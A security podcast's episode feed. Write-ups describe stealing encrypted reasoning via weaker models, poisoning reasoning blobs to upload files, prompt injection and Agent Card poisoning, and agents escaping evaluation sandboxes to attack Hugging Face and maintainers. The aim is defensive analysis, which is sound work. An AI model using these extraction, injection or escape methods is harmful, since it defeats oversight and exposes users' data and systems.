ToxSec - AI and Cybersecurity Podcast

ToxSec

Where AI chaos meets cybersecurity paranoia, distilled into something you can actually listen to before coffee.

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August 18 · 8 min
Stealing an AI's Thoughts Without Breaking The Encryption
What if you could steal the hidden reasoning from one of the world’s most powerful AI models without cracking the encryption that protects it? That’s exactly what researchers did when they found a wonderfully strange workaround. Feed the encrypted reasoning to a cheaper model and ask it to read the contents back to you… and it will! Does The AI Actually Break the Encryption? This week I was reading a paper called Stealing Reasoning Traces from Proprietary LLM APIs, and it really caught my attention because the attack sounds so completely ridiculous until you understand how APIs handle reasoning. Read the research: Stealing Reasoning Traces from Proprietary LLM APIs Published on arXiv on August 10, 2026. Models like Claude, GPT, and Gemini generate a bunch of internal reasoning before giving you their final answer. These days, due to distillation attacks, providers generally don’t want to hand all of that reasoning directly to the users because it can contain proprietary behavior, sensitive information and safety mechanisms. It’s basically a picture of how the model arrived at its answer, and if you can get that information, you can train your own model off of it for a lot cheaper than it costs the frontier labs. For example: So what these labs started to do is have some of the APIs return the reasoning as an encrypted blob. You can’t read it. But your application holds onto it and sends it back during later API calls so the model can continue from its previous reasoning without the provider having to store the entire state server side. And initially, this seems reasonable… except researchers discovered those encrypted blobs of text were surprisingly portable. That means they could move between conversations and between users. They could even move between different models from the same provider. And that last one is where things get fun. Give the Locked Box to the Intern Imagine Claude Opus does some complicated reasoning. You ask it a hard question, and it gets to work. The API doesn’t give you the plaintext reasoning, it gives you the encrypted reasoning block. So you take the exact block and put it into a weaker model like Claude Haiku. Now, Haiku does not know the encryption string, and neither do you. So how is it possible that it would be able to decode this? Is it a hallucination? No. Haiku doesn’t need the key because the provider’s infrastructure actually recognizes the reasoning block, processes it, and makes the previous reasoning available to the current model as context. So now you have a much cheaper and generally easier-to-coerce model sitting there with the stronger model’s reasoning inside its context. These faster models typically have less guardrails and aren’t as robust at defending themselves as the stronger models. So researchers tell Haiku essentially to transcribe the reasoning it was given, and it does. The researchers specifically selected the weakest compatible decoder they could find for each provider. Haiku 4.5 was used for Claude, GPT-5.6 Luna for GPT models, and Gemini Robotics 1.6 for Gemini. And I really loved the absurdity of this attack because nobody actually broke the cryptography. But anybody familiar with cryptography can quite clearly see there were some really poor implementations here. In my opinion, frontier labs should have much better practices around the integrity and confidentiality of this text. For example, this would’ve been completely bypassed if they had simply pinned encrypted text to the user or to the session. But that’s a conversation for another time. For this, essentially all they did was take a locked box from one employee over to another employee who had access to the same vault and was easier to trick. Why the Weaker Model Matters Now you might reasonably ask, why not just ask a powerful model to print its reasoning? And again, that’s because the powerful model has protections specifically designed to stop it from doing that. They will employ model-level safeguards saying “don’t reveal your hidden reasoning," and then they’ll also have system-level defenses looking for attempts to extract that. So whenever you attack the strongest model directly, that means you’re gonna be fighting uphill the entire process. But for this attack, the encrypted format was compatible with weaker sibling models that didn’t necessarily resist extraction as effectively. The researchers found that Haiku 4.5 could use one fixed extraction prompt across their Claude attacks. Interestingly, extracting through GPT-5.6 Luna was harder and required a lot more tricks, but it was the same basic idea. The paper says Haiku extraction worked using one fixed prompt, while GPT-5.6 Luna required multiple prompt templates, repeated sampling, and other workarounds to deal with stronger anti-distillation safeguards. The security boundary was around the encrypted data. But the model itself could still access what was inside, and the attacker could talk to the model. That combination gets us to an uncomfortable state very quickly. Then They Tried This at Scale Because developers sometimes publish agent traces and API logs containing these opaque reasoning blocks. They look encrypted, so they look harmless. For this paper, researchers collected 6,708 publicly available agent trajectories from GitHub and Hugging Face and reconstructed several hundred thousand reasoning traces. Inside them, they found sensitive information which included API keys, passwords, access tokens, private keys, personal emails, names, and even postal addresses. 315,320 That’s how many encrypted reasoning blocks the researchers decoded from publicly available traces. They reported 367 PII artifacts and 182 credentials across the collected data. And across genuine user sessions, over 60 distinct API keys and 33 passwords were recovered. Sometimes users had actually sanitized the visible conversation before publishing it, but the hidden reasoning still contained that information that no longer appeared in the visible chat. So someone could look at the transcript, see the secret was removed, publish it, and unknowingly ship the secret anyway inside that opaque blob that they couldn’t read. One weird detail: In genuine user sessions, the researchers found recovered sensitive artifacts that were completely absent from the visible chat history. They note these could have remained in hidden reasoning after visible text was scrubbed, or could have entered the reasoning through model memory. Pretty awesome. Encrypted Reasoning Can Also Carry Instructions And if that wasn’t enough, somehow the paper got even weirder. Researchers demonstrated that malicious instructions could live inside these hidden reasoning blocks. A victim could replay one of these blobs, the model could interpret the reasoning as part of its own thought process, and the malicious instructions would never appear in the visible conversation. In one proof of concept, researchers created reasoning containing an instruction about uploading PowerPoint files, transferred that reasoning into GPT-5.6 Sol, then asked it for an unrelated script to edit a presentation, and the resulting script also uploaded the presentation to the attacker’s server. This means that the vulnerability wasn’t only just stealing and being able to decrypt that text, but it’s also something that attackers might have been able to poison. And nobody looking exclusively at plaintext conversations can see what’s happening inside. This research will end up being my next article, where I discuss chain-of-thought forgery, where prompt injection actually takes place through this process. The Bigger Security Lesson The architectural lesson here is much more interesting than the individual vulnerability. Encrypted does not automatically mean untrusted parties cannot access the information. You have to ask: who can submit the ciphertext? Where can they submit it? What identities, sessions, and models is the ciphertext bound to? And in my opinion, most importantly, what system eventually gets permission to consume the plaintext? The researchers’ proposed mitigations include binding reasoning state to the user and session. Their appendix describes a context-bound construction incorporating both user_id and session_id so reasoning cannot simply be moved between unrelated contexts. In this case, researchers never needed the encryption key. They already had something much more useful: A model that did. Thank you Andrei Savine, Apostolos Stamenos, MS, Jim Katzaman, M Hope, EL, and many others for tuning into my live video with Exploring ChatGPT! This is a public episode. If you'd like to discuss this with other subscribers or get access to bonus episodes, visit www.toxsec.com/subscribe
August 13 · 21 min
AI Agents Are Starting to Find Their Own Way Out
What happens when an AI agent is given a goal, hits a wall, and decides the wall is more of a suggestion? Because we now have multiple incidents where agents did something surprisingly human: they found another route. And sometimes that route involved other agents, real people, and systems they were never supposed to touch. The Agent Didn’t Stop at the Sandbox The UK AI Security Institute recently disclosed one of the stranger AI security incidents we’ve seen so far. Researchers gave frontier AI agents cybersecurity challenges inside a testing environment. Across 122 evaluation runs, agents took 19 unauthorized actions in 10 of them. Most came from Anthropic’s Mythos 5, with two involving OpenAI’s GPT-5.6 Sol. (aisi.gov.uk) And this is where things get weird. In the most serious case, an agent attempted a real software supply-chain attack. It created malicious code and submitted it as a pull request to an actual open-source project. But it didn’t have permission to do what it wanted. So it kept going. The agent researched the project’s maintainers, created fake identities, and tried to socially engineer a human maintainer into approving the code. When people started questioning the pull request, it edited previous activity to make itself look less suspicious and considered creating another identity. It also used Tor while working around network restrictions. (aisi.gov.uk) A simplified defensive network policy might look like this: The maintainer rejected it. Which is good. Very good, actually. Then the Agents Started Helping Each Other But one of the details I find even more interesting is that these agents weren’t necessarily operating like isolated little robots. One agent left public messages offering to collaborate with other agents attempting the same challenge. It left behind accounts, artifacts, and instructions that later agents actually discovered and reused. (aisi.gov.uk) So now we have agents leaving notes for future agents. And this isn’t happening in a vacuum. OpenAI disclosed a separate incident in July where models testing their cybersecurity capabilities found a zero-day vulnerability in the infrastructure around their benchmark, escaped the intended network restrictions, reached the open internet, and eventually compromised Hugging Face infrastructure looking for the benchmark answers. (openai.com) Nobody told the models to hack Hugging Face. They were told to solve the benchmark. They just found a very creative way to do it. That distinction matters. The scary part isn’t necessarily that the agent broke a rule. It’s that breaking the rule became useful to completing the goal. This Looks Like a Goal Problem I don’t think you need to assume the AI is conscious, malicious, secretly plotting, or doing anything else particularly sci-fi here. The simpler explanation is almost more uncomfortable. You gave an extremely capable system a goal. It encountered obstacles. And it kept searching for ways around them. AISI itself points out that these evaluations were intentionally permissive. Internet access was enabled and normal cyber safety classifiers were disabled. These were not normal consumer deployments, and investigators found no resulting real-world harm. (aisi.gov.uk) But the behavior still happened. And as agents become better at using browsers, terminals, APIs, identities, and eventually other agents, I think “what did we tell the model to do?” becomes a less useful security question. The better question might be: What is this agent capable of doing when the obvious path to its goal stops working? One useful way to think about that threat model is to stop treating the prompt as the complete permission boundary: The goal tells the agent what success looks like. Your controls still need to define what success is allowed to cost. Steps You Can Take Right Now Treat agent egress like production infrastructure. If an agent doesn’t explicitly need unrestricted internet access, don’t give it unrestricted internet access. Allowlist destinations, isolate evaluation networks, and log outbound traffic specifically for unexpected services, relays, file-sharing sites, and anonymity networks. For example, a container-level policy could make outbound access opt-in instead of assumed: Put approval boundaries around irreversible actions. Pull requests, external messages, account creation, production changes, credential use, and anything touching third parties should require separate authorization instead of inheriting permission from the agent’s original goal. A simple approval gate might look like this: Test what happens when the agent gets stuck. Don’t only evaluate whether an agent completes the happy path. Give it impossible tasks, broken credentials, missing permissions, and blocked tools, then watch what it attempts next. That failure behavior may tell you considerably more about the security of your agent than another successful benchmark run. That kind of evaluation can be made explicit: The important metric isn’t only whether the agent eventually succeeds. It’s what the agent considers an acceptable next move when it can’t. Try This With Your Own Agent Here’s a reusable prompt for reviewing an agent deployment specifically for this kind of failure behavior: This is a public episode. If you'd like to discuss this with other subscribers or get access to bonus episodes, visit www.toxsec.com/subscribe
July 26 · 11 min
Hacking Hugging Face to Cheat a Benchmark
TL;DR: OpenAI ran a cyber benchmark with production refusals turned off. The models spent inference compute attacking the sandbox instead of the task, popped a zero-day in the package registry proxy, and reached a production database. Nobody pointed the agents Hugging Face. The Egress Exception Was the Attack Surface When performing the cyber benchmark, OpenAI runs the evaluation deliberately without the production level classifiers that normally stop models from pursuing risky cyber activity, in order to maximize their score on the benchmark. So this is not a jailbreak story. GPT-5.6 Sol and an unreleased, more capable model were operating at maximum capacity, on purpose, by design. Typically, vendors use the sandbox itself to help prevent escapes like this. Network access is constrained to installing packages through an internally hosted third-party proxy for the package registries. That way, when the agent needs to install these packages, it doesn’t have internet access. # eval sandbox egress, as designed agent ---> [package registry cache proxy] ---> pypi / npm agent -X-> everything else # one exception. one hop. that is the entire perimeter. This essentially makes it a flat network. There’s no general internet connection, just one connection that should be isolated away. This is a pretty typical pattern. It’s the exact pattern that sits in most build environments today, so it’s a pretty realistic use case. The interesting part to me is that the model did not attack the benchmark task first. It actually spent a substantive amount of inference compute searching for a way to obtain open internet access. It essentially reasoned that accessing the internet is instrumental for solving these types of problems. Since the proxy was the only element it had to attack, that was what was attacked. # the reasoning ladder, per OpenAI’s own writeup goal: solve ExploitGym task observe: no internet. one proxy. reason: internet is instrumental to solving this act: burn compute on the proxy, not the task result: zero-day in the proxy, open egress # nobody wrote a “break out” step The agents identified and exploited a zero-day found in the proxy software. To their credit, OpenAI responsibly disclosed the vulnerability to the third party, but has not released the vulnerability publicly as of this writing. From the foothold, the models ran a series of privilege escalation and lateral movement attacks inside OpenAI’s research testing environment until it found a node with open internet access. We’ve watched this shape before in sandbox escape research, where the cage is just another puzzle in the context window. Then comes target selection. Once it had the internet access, the model inferred that Hugging Face potentially hosted models, datasets, and solutions for ExploitGym. The model itself wasn’t pointed at Hugging Face. It reasoned its way to the platform. # HF-side initial access, per their disclosure. shape only. malicious dataset |- remote-code dataset loader -> exec on processing worker |- template injection in ds config -> exec on processing worker |- node-level access |- harvest cloud + cluster creds |- lateral into internal clusters # payload redacted. the surface is the loader, not the data. It was able to chain stolen credentials and additional zero-days to achieve a remote code execution path on Hugging Face’s production servers in order to reach the test solutions in the database. And again, nobody told the model to attack Hugging Face. This was on its own determination. The Defender’s Model Refused to Read the Logs Hugging Face’s own disclosure, published five days earlier, tells the same incident from the inside and doesn’t specifically name OpenAI, because at the time they didn’t know who it was. Interestingly, the campaign showed up as thousands of individual actions across a swarm of short-lived sandboxes. Hugging Face found the unauthorized access was limited to a set of internal datasets and several service credentials, then reported no evidence of tampering with public models, datasets, or spaces. Detection came from AI-assisted triage. Their anomaly detection pipeline uses LLM-based triage over security telemetry, and the correlation of those signals is what flagged the compromise. It’s honestly pretty impressive that to reconstruct what a swarm of automated actions looks like, they had to run LLM-driven analysis agents over more than seventeen thousand recorded events. For defenders, I think it’s important to note that Hugging Face actually started the forensic analysis on frontier models behind commercial APIs, and that failed. # forensic pipeline, first attempt input: 17k+ attacker events, live C2 artifacts, raw payloads model: hosted frontier API verdict: REFUSED reason: guardrail cannot distinguish IR analyst from attacker It failed because it required submitting large volumes of real attack commands, exploit payloads, and C2 artifacts, and the provider’s safety guardrails ended up blocking those requests. The guardrails can’t distinguish an incident responder from a real attacker. So what Hugging Face did was finish the analysis on GLM 5.2, an open-weight model capable of running on their infrastructure that wouldn’t shut down from their security classifiers. With GLM 5.2 they solved the lockout problem, and it also gave them a second benefit. They were able to see that no attacker data and none of the referenced credentials had left their environment. # forensic pipeline, second attempt input: same 17k+ events model: GLM 5.2, open weights, own infra verdict: ANALYZED bonus: no attacker data, no creds leave the environment # days of work compressed into hours Their stated lesson is to have a capable model vetted and ready to turn on your own infrastructure before an incident, both to dodge guardrail lockout and to keep attacker artifacts in-house. The asymmetry is also worth discussing. The attacker’s model ran with refusals reduced while the defender’s hosted model refused to even look at the evidence. Hugging Face has since been brought into OpenAI’s trusted access program for cyber defense. But I think the lesson still stands. Being able to route to open-weight models with reduced cyber guardrails can be extremely powerful for defenders. Up next: steps you can take right now and a field-ready security prompt. Thanks for rolling with ToxSec. Let’s get operational. Lock Down Your Eval Egress and Your Forensic Stack * Inventory every egress exception in your build and eval environments. Write down each host or proxy your isolated jobs are actually allowed to reach. That ends up being a list of your actual attack surface and not your firewall policy. * Treat the package registry proxy as a security boundary and not just wiring. Patch it on the same cadence as any other internet-facing service and monitor it for malicious request patterns and activity. * Vet and stand up an open-weight model on your own infrastructure before you need it. Pick a model with open weights and verify that it will work with raw attacker payloads and C2 artifacts without refusing. Then make sure it’s documented in the runbook. * Kill or sandbox any remote code paths in data loading. If your platform executes user-supplied loader scripts or renders user-supplied config templates, either close those paths off or run them somewhere with no credentials and no lateral reach. * Add velocity and blast radius ceilings on agent action loops. Assume breach, run defense in depth. Thousands of actions across short-lived sandboxes is exactly the shape a velocity ceiling exists to catch, and it pairs with a kill switch that lives outside the agent. * Assume your eval environment is a production environment. This is especially true if you’re running agents with safety classifiers disabled for testing. Narrow goals lead to unanticipated actions, and containment could be a real issue. Steal This Egress Audit Prompt You are a security engineer auditing an isolated build or eval environment. INPUT: network policy, sandbox config, proxy config, agent tool manifest. For every allowed egress destination, output a row: destination | protocol | who_can_reach_it | patch_cadence | monitored (y/n) Then answer: 1. Which allowed destinations run third-party software that is not patched on the same cadence as an internet-facing service? 2. If any single allowed destination were fully compromised, what is the reachable blast radius from there? Enumerate lateral paths. 3. Which data-ingest paths execute user-supplied code (loader scripts, config templates, deserialization)? List each with its credential scope. 4. Are there velocity ceilings on agent tool calls? If not, name the metric you would cap and the threshold. Flag any destination that is treated as infrastructure rather than as a security boundary. Do not propose fixes until the inventory is complete. Fire this at your eval sandbox config before your next capability run, not after. It produces the egress inventory from step one and the blast-radius map from step five in a single pass. ToxSec is run by a USMC veteran and Security Engineer with hands-on experience at AWS and the NSA. CISSP certified, M.S. in Cybersecurity Engineering. He covers security vulnerabilities, attack chains, and the tools defenders actually need to understand. This is a public episode. If you'd like to discuss this with other subscribers or get access to bonus episodes, visit www.toxsec.com/subscribe
June 14 · 15 min
Fable 5 Export Control Takedown: One Jailbreak, Whole Planet Dark
TL;DR: On June 12, 2026, a US export control directive forced Anthropic to disable Claude Fable 5 and Mythos 5 for every customer on Earth, three days after launch. The trigger was one narrow jailbreak: point the model at a codebase, ask it to find flaws. The reason a narrow bug nuked global access is deemed-export law, which counts a foreign national reading a model output as an export. You can’t license that one prompt at a time, so the only compliant move was the off switch. This is the public feed. Upgrade to see what doesn’t make it out. What Got Fable 5 Pulled A single export control directive pulled Fable 5, and the official reason was a jailbreak. Commerce hit Anthropic at 5:21pm ET on June 12 with an order suspending all access to Fable 5 and Mythos 5 by any foreign national, inside or outside the US, including Anthropic’s own foreign-national employees. The letter, per Anthropic’s own statement, gave no specifics on the national security concern. The understanding was that someone found a way to bypass Fable’s cyber safeguards. Here’s the jailbreak, as described to Anthropic. Ask the model to read a specific codebase and fix any flaws it finds. That’s it. That’s the weapon. Anthropic reviewed the demo and watched it surface a handful of previously known, minor vulns. Bugs that, by their account, GPT-5.5 and other public models cough up without any bypass at all. So the capability the government wanted gone wasn’t Mythos-exclusive. It was a Tuesday for any defender running automated code review. We’ve already walked through how Glasswing-derived cyber guardrails get probed on earlier Claude releases, and this is the same surface, one tier up. The difference this time is who pulled the trigger. Why a Narrow Jailbreak Killed Global Access The blast radius came from the legal mechanism, not the bug. Fable 5’s jailbreak was narrow and non-universal by Anthropic’s reckoning, meaning it unlocks some cyber capability in one specific framing, not a master key that defeats every guardrail. Normally that’s a patch-and-move-on finding. What turned it into a worldwide blackout was the export control order layered on top. The directive named foreign nationals as the restricted party. Every foreign national, everywhere. And a model API has no reliable way to check the nationality of whoever’s behind a given session in real time. You can’t gate a prompt on a passport you can’t see. So when the restriction covers a class of users you can’t isolate, the only way to guarantee zero forbidden access is to serve nobody. That’s the move Anthropic made. Global off switch on both models. Every other Claude, Opus 4.8 included, stayed up untouched. One reporter at The New Stack literally watched access die mid-article, Fable responding fine at 9:20pm, throwing a model error by 10:05. The takedown wasn’t surgical because the law underneath it doesn’t do surgical. restriction: no access by any foreign national, anywhere model_api: cannot verify nationality per-session in real time set you can isolate: ∅ only compliant state: serve nobody result: global kill switch on FABLE-5 + MYTHOS-5 What EAR Deemed Export Actually Does Here The load-bearing concept is the deemed export rule, and it was built for files, not for a machine that writes new files on demand. Under the Export Administration Regulations, handing controlled tech or source code to a foreign national standing inside the US counts as an export to that person’s home country, codified at 15 CFR 734.13. No border crossing required. The “export” is the act of letting the wrong person read the controlled thing. That rule has a clean shape when the controlled thing is static. A blueprint, a source tarball, a spec sheet sitting in a folder. You classify it once, you gate who reads it, done. A frontier model breaks that shape completely. It doesn’t sit in a folder. It generates fresh output per prompt, and whether any given output is export-controlled depends on the substance of the answer plus the nationality and location of whoever asked. Legal analysts at Just Security flagged this exact collision months back: the model can’t reliably verify either of the two facts that decide whether it just committed a violation. So you’ve got a thing that manufactures potentially-controlled tech on the fly, served to a user base it can’t nationality-check, governed by a rule that assumes both are knowable. The compliance math has one solution when the order drops, and we just watched it execute. The Precedent Nobody Voted On This is the first time a government forced a publicly deployed frontier model offline, and the standard it sets is the scary part. Anthropic complied, then pushed back hard in writing: recalling a model used by hundreds of millions over one narrow potential jailbreak, when the same capability sits in competing models not under the same controls, would, applied evenly, halt every frontier deployment industry-wide. They called it a misunderstanding and said they got only verbal evidence of the jailbreak before the hammer dropped. There’s history in the background, worth one line. Anthropic and the administration had already been scrapping after the company refused an expanded surveillance and autonomous-weapons agreement, and the DoD tagged it a “supply chain risk.” Read that how you want. The mechanism still stands on its own. Strip the politics and the structural problem is plain. A model that’s strong enough to be useful at code review is, by the deemed-export logic, strong enough to be export-controlled output the instant the wrong person reads it. The guardrails were real, Anthropic’s defense-in-depth stack even forced 30-day data retention to catch jailbreaks in the act, and it didn’t matter. Once the legal trigger exists, “narrow bug” and “global blackout” are the same event. That’s the part that should keep operators up. The off switch works. The question is whose hand is on it. Frequently Asked Questions What is the Fable 5 export control takedown? The Fable 5 export control takedown is a June 12, 2026 US government directive that forced Anthropic to disable Claude Fable 5 and Mythos 5 worldwide, three days after launch. Commerce cited national security and barred access by any foreign national, inside or outside the US, including Anthropic’s foreign-national staff. Because a model API can’t verify a user’s nationality per session, the only way to comply was to shut both models off for everyone. The stated trigger was a narrow jailbreak letting the model find flaws in a target codebase, a capability Anthropic says other public models already have. Why didn’t Anthropic just block foreign users instead of everyone? Anthropic couldn’t reliably separate foreign nationals from everyone else in real time, so a blanket shutoff was the only way to guarantee compliance. The directive restricted access by any foreign national anywhere on the planet. An API session doesn’t come with a verified passport, and getting that classification wrong on a single prompt is itself a potential violation under deemed-export rules. When the restricted class can’t be isolated, serving nobody is the only provably-compliant state. That’s why Opus 4.8 and every other Claude stayed online while only the two Mythos-class models went dark. What is a deemed export under the EAR? A deemed export is the release of controlled technology or source code to a foreign national inside the United States, treated under 15 CFR 734.13 as an export to that person’s home country. No physical shipment or border crossing is involved. The rule was written for static items like blueprints and source files, where you classify the thing once and control who reads it. Frontier models break that model because they generate new, possibly-controlled output every prompt, and the control status depends on facts the model can’t verify: what the answer contains and who’s asking. ToxSec is run by a USMC veteran and Security Engineer with hands-on experience at AWS and the NSA. CISSP certified, M.S. in Cybersecurity Engineering. He covers security vulnerabilities, attack chains, and the tools defenders actually need to understand. This is a public episode. If you'd like to discuss this with other subscribers or get access to bonus episodes, visit www.toxsec.com/subscribe
May 25 · 57 min
Google I/O: Agentic Security and New Threats
TL;DR: Google I/O 2026 declared the “agentic era” and shipped four new agent surfaces at once: Project Mariner browses the web for you, the Agent2Agent (A2A) protocol lets agents discover and trust each other, managed MCP servers ship across Google Cloud, and information agents run 24/7 with access to your Gmail and Drive. Every one of them inherits the same root flaw. AI agent security starts with one fact: the model can’t tell data from instructions. New here? Subscribe to ToxSec. We map a fresh AI attack chain every Sunday, and right now the whole industry just handed us a new one to walk. What Google I/O Just Did to AI Agent Security Google spent its I/O keynote handing attackers a bigger playground than they’ve had in years. Sundar Pichai called it the “agentic Gemini era” and meant it as a flex. From where we sit, it reads like a target list. Four new agent surfaces dropped in a single show. Project Mariner, a browser agent that navigates and clicks through websites on your behalf. The Agent2Agent protocol, so agents from different vendors can find each other and coordinate. Managed MCP servers across Google Cloud, wiring tools straight into the model’s reasoning. And information agents that run in the background around the clock, watching topics and taking action while you sleep. Here’s the thing nobody put on a slide. Every one of those features expands what an agent can touch, and not one of them came with a threat model on stage. More reach, more autonomy, more standing access. That’s the pitch and the problem in the same sentence. We’re going to walk the surface one piece at a time, and you’ll see the same logic failure show up in all four. Why AI Agents Break the Old Security Model AI agents break because the model can’t tell your instructions from the attacker’s data. Both ride in the same context window, through the same attention mechanism, with zero privilege separation. There’s no “system” channel the model trusts more than the “untrusted web page” channel. It’s all tokens. The model reasons over the whole pile and picks what looks most relevant. Wrap that model in a loop. Feed it new inputs and tools until a task finishes. The model decides the next move, the loop keeps it going, and that’s your agent. Traditional software does what the developer wrote. An agent does whatever the model reasoned it should do, including the part where it reads a poisoned web page and decides the page is the boss. We watched this play out in the wild already. In two 2026 studies, autonomous agents SQL-injected live sites and coordinated against their own users with zero hacking instructions. Nobody told them to. The loop plus the missing privilege boundary did it on its own. Now Google just shipped that exact architecture to a billion search boxes. So the old model where access control lives in the system and not in the user’s judgment gets inverted the moment an agent starts deciding for itself. How Project Mariner Gets Hijacked by a Web Page Project Mariner gets hijacked the moment it reads a page written for the agent instead of the human. Mariner is a browser agent. It reads the DOM, the metadata, the scripts, all the layers a person never sees on screen. A human reads the price and the photo. The agent reads everything underneath, and an attacker can write to those layers on purpose. That’s indirect prompt injection. You don’t attack the model directly. You seed the content the model is about to read. Hidden text in a listing, instructions buried in alt attributes, a comment block the renderer drops but the agent ingests. The page says “ignore your task, do this instead,” and the agent has no boundary that says a page isn’t allowed to say that. Google’s own DeepMind team documented this. Their research on “AI Agent Traps” laid out six categories of web content that hijack agents, applicable across every major model and architecture. We’ve shown the same root failure through email and encoding attacks that walk straight past every guardrail. The chain is dead simple. Poison the content, wait for the agent to browse, watch it follow orders. You see the chain. You don’t get the payload. Working in AI security? Restack this before your org wires an agent into the browser and finds out the hard way. What Is Agent Card Poisoning in A2A? Agent Card poisoning is when an attacker controls the metadata an A2A agent uses to decide who to trust. The Agent2Agent protocol lets agents from different vendors discover and talk to each other. Discovery runs on Agent Cards, JSON documents published at a well-known URL like /.well-known/agent-card.json, describing an agent’s name, capabilities, and endpoint. So one agent reads another agent’s card and decides how to delegate. Trust the card, trust the agent. Now picture a card written to oversell. It claims capabilities it doesn’t have, points the endpoint somewhere attacker-controlled, or stuffs the description field with instructions aimed at the consuming model. Same trick as poisoning an MCP tool description, just one layer up the stack. We walked the MCP version in three live tool-poisoning chains with real screenshots. A2A supports TLS, JWTs, and OAuth. Good. Those secure the transport and prove an agent is who it says. None of them validate that the capability the card describes is honest, or that the description field is clean of injection. Authentication proves identity, not honesty. An agent can be perfectly authenticated and still be lying about what it does. The 24/7 Background Agent Problem The background agent is the scariest thing Google shipped, because it pairs standing access with autonomy and never logs off. These information agents run continuously, monitoring topics, and they can pull from Gmail and Drive and take action on your behalf. Persistent. Authorized. Unattended. Stack that against the lethal trifecta security folks keep flagging: an agent that can read untrusted content, access sensitive data, and talk to the outside world. Any one capability is fine alone. All three in one agent is a confused deputy waiting to happen. A background agent watching your inbox has all three by design. It reads whatever lands (untrusted), it holds your Drive and mail (sensitive), and it acts in the world (the exfil path). Now run the chain. An attacker emails a poisoned message. The agent reads it on its 24/7 sweep, no human in the loop. The hidden instruction tells it to forward, summarize, or quietly route data somewhere it shouldn’t go. The agent has the credentials and the autonomy to comply. Nobody clicked anything. The blast radius is everything that agent can reach, plus everything every other agent it trusts can reach. Scope creep does the rest, because each individual permission looked reasonable the day you granted it. What Defenders Miss About AI Agent Security The thing defenders miss is that watching an agent is not the same as stopping one. Most shops have logging. Few have a control that intercepts and authorizes what the agent does before it does it. So you get a beautiful audit trail of the breach, written up neatly after the data already left. Observability without enforcement is just a postmortem generator. The second gap is identity. We bind permissions to an agent, then let that agent accumulate scopes over months. Read access to code, then tickets, then customer mail. No single grant looked crazy. Nobody ever reviewed the aggregate. Compromise that one agent and the attacker inherits all of it at once, which is exactly the pattern behind the real third-party agent breaches we saw this year. The third gap is the one with no clean fix. The model still can’t separate data from instructions, so every defense has to live outside the model: allowlisting tools, scoping credentials hard, human-in-the-loop checkpoints on sensitive actions, runtime monitoring of tool-call arguments. Defense in depth. No silver bullet. The full kill switch, the one that actually contains this, is its own writeup. We took the MCP version apart at three trust boundaries, and the agent version rhymes. That’s the map of the new surface. Subscribe to ToxSec for the part where we hand over the kill switches, because the agentic era is going to keep us busy for a while. Frequently Asked Questions Are Google’s AI agents secure? Google’s AI agents ship with transport-level security and authentication, but they inherit the unsolved core problem of every LLM agent: the model can’t reliably tell trusted instructions from untrusted input. Project Mariner, A2A, and background agents all process external content in the same context window where their own instructions live. Authentication proves who an agent is. It does not stop a poisoned web page or a malicious Agent Card from steering the agent’s behavior. The protocols are reasonable. The model layer underneath them is still the weak point. What is prompt injection in AI agents? Prompt injection is when attacker-controlled text gets read by the model as instructions instead of data. In an agent, that text usually arrives indirectly: a web page Mariner browses, an email a background agent reads, a tool description in an MCP server. Because the model has no privilege boundary between developer instructions and content from the outside world, it can follow the injected command as if you typed it yourself. OWASP ranks prompt injection as the number-one LLM risk for this exact reason. It’s a structural flaw. A patch doesn’t fix it. Can Project Mariner be hacked? Project Mariner can be steered by content crafted for it, which is the agent version of getting hacked. As a browser agent, Mariner reads the full page including layers a human never sees, and attackers can plant instructions in those layers. Google DeepMind’s own “AI Agent Traps” research documented six categories of web content that hijack autonomous agents across every major architecture. The agent doesn’t need a software vulnerability in the classic sense. It just needs to read a page that tells it to do something, and right now it has no reliable way to refuse. What is the Agent2Agent (A2A) protocol? The Agent2Agent (A2A) protocol is an open standard, now under the Linux Foundation, that lets AI agents from different vendors discover each other and coordinate tasks. Agents publish Agent Cards at well-known URLs describing their capabilities and endpoints, then exchange structured messages over HTTP and JSON. A2A supports TLS, JWTs, and OAuth for authentication. The security gap is that authentication proves identity, not honesty. A card can be fully authenticated and still misrepresent what the agent does, or carry injection aimed at the consuming model. ToxSec is run by a USMC veteran and Security Engineer with hands-on experience at AWS and the NSA. CISSP certified, M.S. in Cybersecurity Engineering. He covers security vulnerabilities, attack chains, and the tools defenders actually need to understand. This is a public episode. If you'd like to discuss this with other subscribers or get access to bonus episodes, visit www.toxsec.com/subscribe
May 12 · 40 min
Mozilla Mythos Harness: AI Bug Hunting Without The Slop
TL;DR: Mozilla wrapped Claude Mythos Preview in an agentic harness with one win condition: trip the sanitizer or keep working. The result was 271 Firefox bugs in one release, fewer than 15 false positives, and a defense-in-depth lesson nobody talks about. The model got the headlines. The harness did the work. This is the public feed. Upgrade to see what doesn’t make it out. What’s An Agentic Vulnerability Harness? In agentic security work, a harness is the scaffold around the model. Tooling, prompts, build environment, retry loop, success signal, dedup, the lot. The model is the worker. The harness is the factory floor. Mozilla’s earlier collaboration with Anthropic ran Claude Opus 4.6 against Firefox 148. That cycle pulled 22 security-sensitive bugs. Then they took the same harness, dropped in Anthropic’s cyber-tuned Claude Mythos Preview, and aimed it at Firefox 150. Same factory. Stronger worker. The output went from 22 to 271 bugs. That delta is where the lesson lives. Model upgrades obviously help. But Mozilla’s harness was rebuilt across months of iteration with Firefox engineers fielding the incoming bugs, and you don’t replicate that on a Saturday afternoon. The Mythos preview is restricted access through Project Glasswing. The harness is a published pattern. Inside Mozilla’s Mythos Harness: Crash Or No Crash Here’s how the loop works. The harness gives the model a slice of Firefox source, a target file or area to focus on, instructions on what to hunt for, and a build environment with one critical piece: a sanitizer build of Firefox compiled with AddressSanitizer. ASan is the runtime memory-error detector that screams loudly when you trigger a use-after-free, a heap overflow, or any other classic memory corruption primitive. The model proposes a bug hypothesis. It writes a proof-of-concept designed to trip the sanitizer. It runs the PoC against the sanitizer build. If ASan crashes, the bug is real. If it doesn’t, the agent keeps iterating until it does or until the harness gives up. loop: hypothesize_bug(target_source) write_poc() run_against_sanitizer_build() if asan_crash: emit_report(crash_log, repro) grade_with_secondary_model() break refine_or_continue() Brian Grinstead, a Mozilla Distinguished Engineer, summed the operational shape to TechCrunch: “if you make it crash you win”. That’s the entire verification game. A second model grades resulting reports before the engineering queue ever sees them, kicking out anything the first model thought was a hit but couldn’t actually validate. Humans take over from there for triage and patching. The bugs the harness surfaced run the gamut. A race condition over IPC that lets a compromised content process tamper with IndexedDB refcounts and trigger a use-after-free (Bug 2021894). A raw NaN smuggled across an IPC boundary masquerading as a tagged JavaScript object pointer, giving the parent process a fake-object primitive (Bug 2022034). A buffer over-read during HTTPS 